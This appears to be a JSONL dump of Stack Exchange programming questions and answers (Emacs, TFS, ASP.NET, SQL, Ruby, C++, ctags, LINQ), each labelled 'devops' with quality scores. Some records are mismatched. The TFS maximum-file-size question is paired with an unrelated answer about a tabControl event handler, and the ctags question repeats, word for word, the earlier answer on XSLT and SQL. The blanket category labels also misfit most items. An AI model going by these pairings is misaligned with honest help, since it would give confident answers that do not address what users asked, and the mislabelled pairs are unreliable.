"source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.958220"}
{"id": "hf_fb1d03ed6cfb", "question": "<p>What is the Emacs mode or package that highlights Lisp forms changing the color of the backgrounds so that the form you are in has one color, the outer form another, the outer outer form another and so on?</p>\n", "question_body": "", "answer": "You may want to try\nmwe-color-box\n(screenshot below) or read\nFive approaches to s-expression highlighting\nby\nLemondor\n.\n(source:\nfoldr.org\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.984069"}
{"id": "hf_49c3266fd5a2", "question": "<p>I'd like to programatically determine the encoding of a page via JavaScript, or some other API from a browser. The reason I want this information is because I am attempting to fuzz major browsers on what character encodings they support, and obviously just because I sent the appropriate \"Content-Type\" doesn't mean that the browser will do the right thing with the encoding. Any other possible methods would be welcome, but I would rather not click \"Page Info\" for 50+ character encodings.</p>\n", "question_body": "", "answer": "Javascript can only report some of the things that are going on. Most browsers won't expose enough useful settings to you for you to base any hardcore tests on.\nThere are things such as\n```\ndocument.inputEncoding\n```\n,\n```\ndocument.characterSet\n```\n(non IE),\n```\ndocument.charset\n```\n, and\n```\ndocument.defaultCharset\n```\n(IE) which might get you some of the way there. But these might be as flaky as the actual support. That is, if a browser \"thinks\" it supports an encoding but really doesn't, isn't that something you want to know?\nI think your best bet is to set up a dynamic test page with some fairly difficult characters on it (or a really large test set), load test in a browser, have the browser report back browser id string, encoding settings, original encoding request, and contents of\n```\ntestElement.innerHTML\n```\nwhich you can then verify against expected results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.082906"}
{"id": "hf_4e67fd154d05", "question": "<p>I've often heard Ruby's inject method criticized as being \"slow.\" As I rather like the function, and see equivalents in other languages, I'm curious if it's merely Ruby's <strong>implementation</strong> of the method that's slow, or if it is inherently a slow way to do things (e.g. should be avoided for non-small collections)?</p>\n", "question_body": "", "answer": "```\ninject\n```\nis like\n```\nfold\n```\n, and can be very efficient in other languages,\n```\nfold_left\n```\nspecifically, since it's tail-recursive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.132266"}
{"id": "hf_bfb45fac789b", "question": "<p>Is this right for When 4 &lt; 5 and 1 &lt; 2 ?</p>\n\n<pre><code>&lt;xsl:when test=\"4 &amp;lt; 5 AND 1 &amp;lt; 2\" &gt;\n&lt;!-- do something --&gt;\n&lt;/xsl:when&gt;\n</code></pre>\n", "question_body": "", "answer": "From\nXML.com\n:\nLike xsl:if instructions, xsl:when\n  elements can have more elaborate\n  contents between their start- and\n  end-tags—for example, literal result\n  elements, xsl:element elements, or\n  even xsl:if and xsl:choose elements—to\n  add to the result tree. Their test\n  expressions can also use all the\n  tricks and operators that the xsl:if\n  element's test attribute can use, such\n  as and, or, and function calls, to\n  build more complex boolean\n  expressions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.170331"}
{"id": "hf_647a208dd029", "question": "<p>I have TFS installed on a single server and am running out of space on the disk. (We've been using the instance for about 2 years now.)  </p>\n\n<p>Looking at the tables in SQL Server what seems to be culprit is the tbl_content table, it is at 70 GB.  If I do a get on the entire source tree for all projects it is only about 8 GB of data.</p>\n\n<p>Is this just all the histories of the files?  It seems like a 10:1 ratio just the histories...since I would think the deltas would be very small. </p>\n\n<p>Does anyone know if that is a reasonable size given 8 GB of source (and 2 yrs of activity)?  And if not what to look at to 'fix' this?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I can't help with the ratio question at the moment, sorry. For a short-term fix you might check to see if there is any space within the DB files that can be freed up. You may have already, but if not..\n```\n```\nSELECT name ,size/128.0 - CAST(FILEPROPERTY(name, 'SpaceUsed') AS int)/128.0 AS AvailableSpaceInMB\nFROM sys.database_files;\n```\n```\nIf the statement above returns some space you want to recover you can look into a one time  DBCC SHRINKDATABASE or DBCC SHRINKFILE along with scheduling routine SQL maintenance plan that may include defragmenting the database.\nDBCC SHRINKDATABASE and DBCC SHRINKFILE aren't things you should do on a regular basis, because SQL Server needs some \"swap\" space to move things around for optimal performance. So neither should be relied upon as your long term fix, and both could cause some noticeable performance degradation of TFS response times.\nJB", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.196232"}
{"id": "hf_2120848d868e", "question": "<p>I have a table with a binary column which stores files of a number of different possible filetypes (PDF, BMP, JPEG, WAV, MP3, DOC, MPEG, AVI etc.), but no columns that store either the name or the type of the original file.  Is there any easy way for me to process these rows and determine the type of each file stored in the binary column?  Preferably it would be a utility that only reads the file headers, so that I don't have to fully extract each file to determine its type.</p>\n\n<p><strong>Clarification</strong>:  I know that the approach here involves reading just the beginning of each file.  I'm looking for a good resource (aka links) that can do this for me without too much fuss.  Thanks.</p>\n\n<p>Also, <strong>just C#/.NET on Windows, please</strong>.  I'm not using Linux and can't use Cygwin (doesn't work on Windows CE, among other reasons).</p>\n", "question_body": "", "answer": "This is not a complete answer, but a place to start would be a \"magic numbers\" library. This examines the first few bytes of a file to determine a \"magic number\", which is compared against a known list of them.  This is (at least part) of how the\n```\nfile\n```\ncommand on Linux systems works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.221475"}
{"id": "hf_d4a753a9bea3", "question": "<p>Is there a way to set a maximum size for files that can be check in into source control under Team Foundation Server 2005 or 2008?</p>\n\n<p>In the past, when we worked with SourceSafe there were several cases were developers decided to checkin a 500mb data file to source control. </p>\n\n<p>I don't know what such a thing will do to TFS - and actually, I don't want to find out.</p>\n\n<p><strong>Edit:</strong> Custom checkin policy is not a viable solution for two reasons:</p>\n\n<ol>\n<li><p>it is done in the client side - I want the server to protect itself from such an abuse</p></li>\n<li><p>custom checkin policy can be overridden by the user.</p></li>\n</ol>\n", "question_body": "", "answer": "I can only give a partial answer but I think the reason that\n```\n```\npublic void tabControl1_SelectedIndexChanged(object sender, EventArgs e)\n        {\n                libDataGrid.DataSource = this.manager.Lib.LibList;\n                libDataGrid.Refresh();\n        }\n```\n```\nisn't working, is because you need to add this line where tabControl1 is being initialized.  I've had this problem where VS won't do this itself.\n```\n```\ntabControl1.SelectedIndexChanged += new EventHandler(tabControl1_SelectedIndexChanged);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.314998"}
{"id": "hf_c67459bbefaa", "question": "<p>i've populated a dropdownlist control with different text properties but each text properties had THE SAME value (text property was A, value properties is blah,text property was B, value properties is blahblah, etc... )</p>\n\n<p>ASP.net only checks value properties on postback and because ALL values were the same (for\ntesting reason) this little annoying behavior happened. Is there a work around? does this mean you can't never have the value to be the same? </p>\n", "question_body": "", "answer": "Sounds like you are working on the wrong event. Try\nSelectedIndexChanged\n.\nEnsure you also have the\n```\nAutoPostBack\n```\nproperty set to\n```\nTrue\n```\n.\nResolved\nOK, so I got digging on this since I was curious :)\nThere is a \"problem\" when databinding with non-unique values.\nSo, firstly, I publicly apologise for saying otherwise.\nTo replicate:\nASPX\n```\n```\n<asp:DropDownList ID=\"myDDL\" runat=\"server\" AutoPostBack=\"True\">\n    </asp:DropDownList>\n    <asp:Label ID=\"lblSelItem\" runat=\"server\"Text=\"Currently Selected Item: 0\"></asp:Label>\n    <asp:Label ID=\"lblSelVal\" runat=\"server\" Text=\"Currently Selected Value: X\"></asp:Label>\n```\n```\nCode-Behind\n```\n```\nList<string> MyData()\n    {\n        List<string> rtn = new List<string>();\n        rtn.Add(\"I am the same value!\");\n        rtn.Add(\"I am the same value!\");\n        rtn.Add(\"I am the same value!\");\n        rtn.Add(\"I am the same value!2\");\n        return rtn;\n    }\n\n    protected void Page_Init()\n    {\n        if (!Page.IsPostBack)\n        {\n            // Load the Data for the DDL.\n            myDDL.DataSource = MyData();\n            myDDL.DataBind();\n        }\n    }\n\n    protected void Page_Load(object sender, EventArgs e)\n    {\n        // Display the Currently Selected Item/Value.\n        lblSelItem.Text = \"Currently Selected Item: \" + myDDL.SelectedIndex.ToString();\n        lblSelVal.Text = \"Currently Selected Value: \" + myDDL.SelectedValue;\n    }\n```\n```\nRun, changing the values in the DropDownList. Note that a PostBack does not occur.\nWhen looking at the Source, I realised that we need to explicitly set the \"\n```\nvalue\n```\n\" attribute for the\n```\n<option>\n```\nelements generated by the server control, which lead me to do something like:\nNew Code-Behind\n```\n```\nDictionary<string, string> MyTwoColData()\n    {\n        Dictionary<string, string> rtn = new Dictionary<string, string>();\n        rtn.Add(\"1\", \"I am the same value!\");\n        rtn.Add(\"2\", \"I am the same value!\");\n        rtn.Add(\"3\", \"I am the same value!\");\n        return rtn;\n    }\n\n    protected void Page_Init()\n    {\n        if (!Page.IsPostBack)\n        {\n            // Load the Data for the DDL.\n            Dictionary<string, string> data = MyTwoColData();\n\n            foreach (KeyValuePair<string, string> pair in MyTwoColData())\n            {\n                myDDL.Items.Add(new ListItem(pair.Value, pair.Key));\n            }\n\n            myDDL.DataBind();\n        }\n    }\n```\n```\nThis explcitly sets the values to the \"1\", \"2\", \"3\" etc making them unique, while still displaying the correct data within the list.\nObviously, you can change this to work with single-column lists but just running through a for loop and using the value of\n```\ni\n```\nor something.\nAs to good workarounds with DataSets, not sure.\nRealistically, would we present a list of options with the exact same values to the user?\nI personally think not, which is probably why this \"problem\" hasn't been addressed :)\nEnjoy!\nPS:\nOh, I should also add, if you want to use the text value in the \"fix\" then change it to\n```\nSelectedItem\n```\nrather than\n```\nSelectedValue\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.355364"}
{"id": "hf_63b7d0186860", "question": "<p>Testing:</p>\n\n<pre><code>return request.getCookies() == null;\n</code></pre>\n\n<p>is not an appropriate way test. Is there another way?</p>\n", "question_body": "", "answer": "You generally want to use JavaScript to determine if the client's browser has cookies enabled:\n```\n```\n<script type=\"text/javascript\">\nvar cookieEnabled=(navigator.cookieEnabled)? true : false\n\n//if not IE4+ nor NS6+\nif (typeof navigator.cookieEnabled==\"undefined\" && !cookieEnabled){ \ndocument.cookie=\"testcookie\"\ncookieEnabled=(document.cookie.indexOf(\"testcookie\")!=-1)? true : false\n}\n\n//if (cookieEnabled) //if cookies are enabled on client's browser\n//do whatever\n\n</script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.380116"}
{"id": "hf_e8979d77526b", "question": "<p>I can't find a good way of putting Eclipse windows on two monitors. Currently I just detached (clicked on a header and dragged) a few windows to a secondary monitor (package explorer, console, and outline) while leaving primary monitor with maximized source editing window. </p>\n\n<p>It works pretty well except few annoying issues. Detached windows are not in focus while you are editing your code. Which means that, for example, last build shortcut (<kbd>Alt</kbd>-<kbd>Shift</kbd>-<kbd>X</kbd>, <kbd>Q</kbd>) doesn't work because it can't find build file (because package explorer is not in focus). Also \"Selected resources\" option in a file search menu is not picking up current package selection.</p>\n\n<p>So I was wondering is detaching windows a right way to go? Do you have any better solutions so at least package explorer stays in focus?</p>\n\n<p>Thanks.</p>\n\n<p>PS. Btw \"unable to find build\" error started showing up only in 3.4 ver for some reason.</p>\n", "question_body": "", "answer": "I split the eclipse environment over two monitors (both running at 1600*1200)\non the left I have the main coding window maximised with the outline down the right hand side.\nOn the second monitor I have the Junit window, Problems, Console and the package explorer\nI have the same layout duplicated for all the perspectives that I use.\nI have never used the\nAlt\n-\nShift\n-\nQ\nshort cut but I have found the\nAlt\n-\nShift\n-\nX\n,\nT\nshortcut for running junit works fine when I am focussed in the main coding window .\nPossibly have the package explorer on the same monitor as the coding window?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.404616"}
{"id": "hf_ac0855a8936a", "question": "<p>How do I convert a string into the corresponding code in PLT Scheme (which does not contain the <code>string-&gt;input-port</code> method)?  For example, I want to convert this string:</p>\n\n<pre><code>\"(1 (0) 1 (0) 0)\"\n</code></pre>\n\n<p>into this list:</p>\n\n<pre><code>'(1 (0) 1 (0) 0)\n</code></pre>\n\n<p>Is it possible to do this without opening a file?</p>\n", "question_body": "", "answer": "From this similar question on\ncomp.lang.scheme\nyou can save the string to a file then read from it.\nThat might go something like this example code:\n```\n```\n(let ((my-port (open-output-file \"Foo\")))\n  (display \"(1 (0) 1 (0) 0)\" my-port)\n  (close-output-port my-port))\n\n(let* ((my-port (open-input-file \"Foo\"))\n       (answer (read my-port)))\n  (close-input-port my-port)\n  answer)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.448664"}
{"id": "hf_94f56bab29ae", "question": "<p>i have a basic ruby class:</p>\n\n<pre><code>class LogEntry\n\nend\n</code></pre>\n\n<p>and what i would like to do is be able to define a hash with a few values like so:</p>\n\n<pre><code>EntryType = { :error =&gt; 0, :warning =&gt; 1, :info =&gt; 2 }\n</code></pre>\n\n<p>so that i can access the values like this (or something similar):</p>\n\n<pre><code>LogEntry.EntryType[:error]\n</code></pre>\n\n<p>is this even possible in Ruby? am i going about this the right way?</p>\n", "question_body": "", "answer": "You can do this:\n```\n```\nclass LogEntry\n    EntryType = { :error => 0, :warning => 1, :info => 2 }\nend\n```\n```\nBut you want to reference it as\n```\n```\nLogEntry::EntryType[:error]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.499872"}
{"id": "hf_90831130b5f5", "question": "<p>I have a calendar control derived from DataGridView. A custom item hover event is already in place. When handling the event, I have the item that was hovered and the mouse location. What is the best method to show a pop-up window with detailed information about the item? Should I use a stripped down form (no titlebar,controlbox, etc) and simply close it on the MouseLeave? Is there a better way?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Any type of Control, a Panel, a UserControl, etc. These will do as long as they doesn't have to pop outside the current form. If it needs to pop outside you might need to use a Form as you stated and removes it's border.\nPre create the Control or Form in the main form, then when the mouse hover the needed control, make the pop control visible, and when the mouse leaves, make it invisible.\nJust watch out for the mouse events though, they could get caught by the newly poped control. This might require a little positioning gymnastic as you will have to offset the position so that the cursor never gets to hover the poped control.\nTake example on Microsoft Windows tooltip.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.530874"}
{"id": "hf_e0a1dcecdca8", "question": "<p>Let's say I have a table like this:</p>\n\n<pre><code>name | score_a | score_b\n-----+---------+--------\n Joe |   100   |   24\n Sam |    96   |  438\n Bob |    76   |  101\n ... |   ...   |  ...\n</code></pre>\n\n<p>I'd like to select the minimum of score_a and score_b. In other words, something like:</p>\n\n<pre><code>SELECT name, MIN(score_a, score_b)\nFROM table\n</code></pre>\n\n<p>The results, of course, would be:</p>\n\n<pre><code>name | min\n-----+-----\n Joe |  24\n Sam |  96\n Bob |  76\n ... | ...\n</code></pre>\n\n<p>However, when I try this in Postgres, I get, \"No function matches the given name and argument types. You may need to add explicit type casts.\" MAX() and MIN() appear to work across <em>rows</em> rather than <em>columns.</em></p>\n\n<p>Is it possible to do what I'm attempting?</p>\n", "question_body": "", "answer": "LEAST\n(a, b):\nThe\n```\nGREATEST\n```\nand\n```\nLEAST\n```\nfunctions select the largest or smallest value from a list of any number of expressions. The expressions must all be convertible to a common data type, which will be the type of the result (see\nSection 10.5\nfor details). NULL values in the list are ignored. The result will be NULL only if all the expressions evaluate to NULL.\nNote that\n```\nGREATEST\n```\nand\n```\nLEAST\n```\nare not in the SQL standard, but are a common extension. Some other databases make them return NULL if any argument is NULL, rather than only when all are NULL...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.562301"}
{"id": "hf_f044cb7c1474", "question": "<p>Here's the problem:</p>\n\n<p>1.) We have page here... www.blah.com/mypage.html</p>\n\n<p>2.) That page requests a js file www.foo.com like this...</p>\n\n<pre><code>&lt;script type=\"text/javascript\" src=\"http://www.foo.com/jsfile.js\" /&gt;\n</code></pre>\n\n<p>3.) \"jsfile.js\" uses Prototype to make an Ajax request back to www.foo.com.</p>\n\n<p>4.) The ajax request calls www.foo.com/blah.html. The callback function gets the html response and throws it into a div.</p>\n\n<p>This doesn't seem to work though, I guess it is XSS. Is that correct?</p>\n\n<p>If so, how can I solve this problem? Is there any other way to get my html from www.foo.com to www.blah.com on the client without using an iframe?</p>\n", "question_body": "", "answer": "It is XSS and it is forbidden. You should really not do things that way.\nIf you really need to, make your AJAX code call the local code (PHP, ASP, whatever) on blah.com and make it behave like client and fetch whatever you need from foo.com and return that back to the client. If you use PHP, you can do this with fopen('www.foo.com/blah.html', 'r') and then reading the contents as if it was a regular file.\nOf course, allow_remote_url_fopen (or whatever it is called exactly) needs to be enabled in your php.ini.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.697545"}
{"id": "hf_6f2f256e6170", "question": "<p>I would like to apply a transformation (rotation) to a <code>UIImageView</code>. I could just set the <code>transform</code> property of the view, but wouldn't setting the layer's <code>transform</code> make it faster? If so, how can I achieve this?</p>\n\n<p>Assuming I have a <code>UIImageView</code> initialized with an image, can anyone help? Wouldn't it be better to have a <code>UIVIew</code> with a <code>UIImageView</code> in it?</p>\n", "question_body": "", "answer": "If you're doing a simple rotation, the speed difference is probably insignificant, but you can get access to a view's layer by doing:\n```\nview.layer\n```\nSo, you can just use\n```\nview.layer.affineTransform = newTranform;\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.760011"}
{"id": "hf_41c8ffcc1b80", "question": "<p>In my application I need to temporarily gray out the minimize button of the main form. Any ideas how this can be achieved? I don't mind doing p/invokes to Win32 dlls.</p>\n\n<p>Edit: Graying out the minimize button would be the preferred solution, but is there any other way of preventing the form from becoming minimized?</p>\n", "question_body": "", "answer": "```\n```\nform.MinimizeBox = false;\n```\n```\nor if in the form scope\n```\n```\nMinimizeBox = false;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.784895"}
{"id": "hf_7491399f4530", "question": "<p>Is there an easy way write to a file asynchronously in Python?</p>\n\n<p>I know the <a href=\"https://docs.python.org/2/tutorial/inputoutput.html#reading-and-writing-files\" rel=\"noreferrer\">file io that comes with Python</a> is blocking; which is fine in most cases.  For this particular case, I need writes not to block the application at all, or at least as minimally as possible.</p>\n", "question_body": "", "answer": "Twisted has\nnon-blocking writes on file descriptors\n.  If you're writing async code, I'd expect you to be using twisted, anyway.  :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.809704"}
{"id": "hf_ecab91bc3df9", "question": "<p>I want <code>boost::any_cast&lt;T&gt;</code> to only throw an exception when the type of the <code>any</code> doesn't have an implicit conversion to <code>T</code>. The normal behaviour seems to be to throw an exception if the type of the <code>any</code> is not <code>T</code>, regardless of implicit conversions.</p>\n\n<p>Example:</p>\n\n<pre><code>boost::any a = 1;\nboost::any_cast&lt;int&gt;(a); // This succeeds, and rightfully so\nboost::any_cast&lt;long&gt;(a); // I don't want this to throw\nboost::any_cast&lt;Widget&gt;(a); // I want this to throw\n</code></pre>\n\n<p>Could anyone tell me if there's a simple way to get the functionality I want, or better yet give me a good reason for why the existing behaviour is the way it is?</p>\n", "question_body": "", "answer": "Well you can't do it. The\n```\nany\n```\nmechanism works like this:\n```\n```\nstruct base {\n    virtual ~base() { }\n};\n\ntemplate<typename T>\nstruct concrete_base : base {\n    T t;\n    concrete_base(T t):t(t) { }\n};\n\nstruct my_any {\n    base * b;\n\n    template<typename T>\n    my_any(T t):b(new concrete_base<T>(t)) { }\n\n    template<typename T>\n    T any_cast() { \n        concrete_base<T> * t = dynamic_cast< concrete_base<T>* >(b);\n        if(!t) throw bad_any_cast();\n        return t->t;\n    }\n};\n```\n```\nI hope it's clear what the above does. There is no way you could do what you are looking for i think. The reason is that there is no information about the type kept that could prove useful here. RTTI doesn't provide it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.841611"}
{"id": "hf_7f6d3aeeb59e", "question": "<p>I have an XML definition that contains an element with child elements. For example:</p>\n\n<pre><code>&lt;a&gt;\n &lt;b&gt;\n  &lt;c&gt;C&lt;/c&gt;\n  &lt;d&gt;D&lt;/d&gt;\n &lt;/b&gt;\n&lt;/a&gt;\n</code></pre>\n\n<p>I have an XSLT with an output of text. For example:</p>\n\n<pre><code>&lt;xsl...&gt;\n  &lt;xsl:output method=\"text\" indent=\"yes\"/&gt;\n  &lt;xsl:template match=\"/\"&gt;\n    &lt;xsl:copy-of select=\"/a/b\" /&gt;\n  ...\n</code></pre>\n\n<p>I want to copy the entire b element and its children into a whitespace-removed string so that I can generate a SQL query. For example:</p>\n\n<pre><code>select * from some-table where xml = '&lt;b&gt;&lt;c&gt;C&lt;/c&gt;&lt;d&gt;D&lt;/d&gt;&lt;/b&gt;'\n</code></pre>\n\n<p>At the moment copy-of is finding the b element but dropping off all element and attribute information leaving only the text content within each. I think this might be to do with the output type.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Your SQL statement scares me. XML is case-sensitive, and your comparison there is likely to fail if the input XML and XSLT (including all elements, attributes, and values) aren't cased exactly like that used in the original database insert.\nI believe both Oracle (certain) and SQL Server (think so) have mechanisms to do a query against a column containing XML in a more XML-friendly way (for instance, using XPath).\nWhat exactly are you trying to do? Your problem seems deeper than just getting this XSLT to transform correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.879150"}
{"id": "hf_3ac394329455", "question": "<p>I'm working on +1M LOC C/C++ project on Solaris (remote, via VNC or SSH). I have a daily updated copy of source code on my local machine too (Windows, just for browsing code).</p>\n\n<p>I use VIM and ctags combo (on both Solaris and Windows) but I'm not happy with results / speed. What settings for ctags would you recommend? There are a lot of options what should be tagged and how. Should I use single tag file per project, per dir or perhaps just one for everything?</p>\n", "question_body": "", "answer": "Your SQL statement scares me. XML is case-sensitive, and your comparison there is likely to fail if the input XML and XSLT (including all elements, attributes, and values) aren't cased exactly like that used in the original database insert.\nI believe both Oracle (certain) and SQL Server (think so) have mechanisms to do a query against a column containing XML in a more XML-friendly way (for instance, using XPath).\nWhat exactly are you trying to do? Your problem seems deeper than just getting this XSLT to transform correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.903471"}
{"id": "hf_62024ef89acf", "question": "<p>I understand the first argument must be the result of GetFileVersionInfo().</p>\n\n<p>The third and forth are target buffer and size</p>\n\n<p>What is the second argument, lpSubBlock?</p>\n\n<p>Thanks In Advance</p>\n", "question_body": "", "answer": "It must be a string whose format you can find here:\nhttp://www.hep.wisc.edu/~pinghc/books/apirefeng/v/verqueryvalue.html\nThere is another example of usage (in VB, easy to read):\nhttp://support.microsoft.com/kb/160042\nYou can also check out this whole CodeProject article for a working example in C++:\nhttp://www.codeproject.com/KB/cpp/GetLocalVersionInfos.aspx\nAnother article on the subject of retrieving version information:\nhttp://www.microsoft.com/msj/0498/c0498.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.928951"}
{"id": "hf_3a69c3ec5006", "question": "<p>Is there a way to change SQL Reporting \"chart type\" and \"sub type\" at runtime?</p>\n\n<p>I'm working with a .rdlc report and can't seem to figure out the way to change this at runtime.  I don't have the \"Expression\" ability in either of these fields.</p>\n", "question_body": "", "answer": "I am trying to do this exact same thing.  I have a set of measures that are shown and then a chart underneath that will show only one measure at a time, depending on user input (which of the measures they wish to see in chart form).  However, certain measures are better as columns instead of lines, so I'd like to change the chart type at render-time.\nMy initial idea is to overlap two charts and set their visibility opposite of each other and according to the user dropdown input.  Seems like there could be an easier way (if that idea would even work in the first place?)\nThanks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:38.965871"}
{"id": "hf_d98d40917d63", "question": "<p>How would you take an arbitrary list of strings (of the form \"%[text]%\") and a database column, and turn them into a SQL query that does a LIKE comparison for each string in the list?</p>\n\n<p>An example: I have three strings in my list, \"%bc%\", \"%def%\" and \"%ab%\". This builds the query:</p>\n\n<pre><code>([ColumnName] LIKE \"%bc\" AND [ColumnName] LIKE \"%def%\") AND [ColumnName] LIKE \"%ab%\"\n</code></pre>\n\n<p>A C# example would be excellent, but feel free to write it in the language of your choice.</p>\n", "question_body": "", "answer": "It's just a string join on a map:\n```\n```\n>>> los=['ab', 'cd', 'ef']\n>>> ' and '.join((\"somecolumn like '%%%s%%'\" % s) for s in los)\n\"somecolumn like '%ab%' and somecolumn like '%cd%' and somecolumn like '%ef%'\"\n```\n```\nor\n```\n```\n>>> ' and '.join((\"somecolumn like '%\" + s + \"%'\") for s in los)\n\"somecolumn like '%ab%' and somecolumn like '%cd%' and somecolumn like '%ef%'\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.029615"}
{"id": "hf_19d647cff6a4", "question": "<p>Would someone explain how to get LINQ working with Sqlite.</p>\n", "question_body": "", "answer": "Check this provider:\nSqlLite Linq Provider\nAlso you can consider using\nSQL Compact\nwhich has very good LINQ-to-SQL support.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.054699"}
